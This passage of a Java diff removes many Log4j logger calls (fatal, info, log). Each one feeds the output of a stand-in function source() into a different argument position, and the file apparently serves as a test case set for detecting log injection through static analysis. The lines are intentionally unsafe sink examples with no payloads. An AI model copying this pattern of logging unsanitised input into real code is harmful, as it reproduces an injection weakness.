null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.fatal((String) source(), (Supplier) null); - logger.fatal((String) null, (Supplier) source()); - logger.fatal((String) source(), (Throwable) null); - logger.fatal((Supplier) source()); - logger.fatal((Supplier) source(), (Throwable) null); - logger.info((CharSequence) source()); - logger.info((CharSequence) source(), (Throwable) null); - logger.info((Marker) null, (CharSequence) source()); - logger.info((Marker) null, (CharSequence) source(), null); - logger.info((Marker) null, (Message) source()); - logger.info((Marker) null, (MessageSupplier) source()); - logger.info((Marker) null, (MessageSupplier) source(), null); - logger.info((Marker) null, source()); - logger.info((Marker) null, (String) source()); - logger.info((Marker) null, (String) source(), new Object[] {}); - logger.info((Marker) null, (String) null, new Object[] {source()}); - logger.info((Marker) null, (String) null, (Object) source()); - logger.info((Marker) null, (String) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((Marker) null, (String) source(), (Supplier) null); - logger.info((Marker) null, (String) null, (Supplier) source()); - logger.info((Marker) null, (String) source(), (Throwable) null); - logger.info((Marker) null, (Supplier) source()); - logger.info((Marker) null, (Supplier) source(), (Throwable) null); - logger.info((MessageSupplier) source()); - logger.info((MessageSupplier) source(), (Throwable) null); - logger.info((Message) source()); - logger.info((Message) source(), (Throwable) null); - logger.info(source()); - logger.info(source(), (Throwable) null); - logger.info((String) source()); - logger.info((String) source(), (Object[]) null); - logger.info((String) null, new Object[] {source()}); - logger.info((String) null, (Object) source()); - logger.info((String) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) source(), (Object) null); - logger.info((String) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.info((String) source(), (Supplier) null); - logger.info((String) null, (Supplier) source()); - logger.info((String) source(), (Throwable) null); - logger.info((Supplier) source()); - logger.info((Supplier) source(), (Throwable) null); - logger.log((Level) null, (CharSequence) source()); - logger.log((Level) null, (CharSequence) source(), (Throwable) null); - logger.log((Level) null, (Marker) null, (CharSequence) source()); - logger.log((Level) null, (Marker) null, (CharSequence) source(), null); - logger.log((Level) null, (Marker) null, (Message) source()); - logger.log((Level) null, (Marker) null, (MessageSupplier) source()); - logger.log((Level) null, (Marker) null, (MessageSupplier) source(), null); - logger.log((Level) null, (Marker) null, source()); - logger.log((Level) null, (Marker) null, (String) source()); - logger.log((Level) null, (Marker) null, (String) source(), new Object[] {}); - logger.log((Level) null, (Marker) null, (String) null, new Object[] {source()}); - logger.log((Level) null, (Marker) null, (String) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (Marker) null, (String) source(), (Supplier) null); - logger.log((Level) null, (Marker) null, (String) null, (Supplier) source()); - logger.log((Level) null, (Marker) null, (String) source(), (Throwable) null); - logger.log((Level) null, (Marker) null, (Supplier) source()); - logger.log((Level) null, (Marker) null, (Supplier) source(), (Throwable) null); - logger.log((Level) null, (MessageSupplier) source()); - logger.log((Level) null, (MessageSupplier) source(), (Throwable) null); - logger.log((Level) null, (Message) source()); - logger.log((Level) null, (Message) source(), (Throwable) null); - logger.log((Level) null, source()); - logger.log((Level) null, source(), (Throwable) null); - logger.log((Level) null, (String) source()); - logger.log((Level) null, (String) source(), (Object[]) null); - logger.log((Level) null, (String) null, new Object[] {source()}); - logger.log((Level) null, (String) null, (Object) source()); - logger.log((Level) null, (String) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) 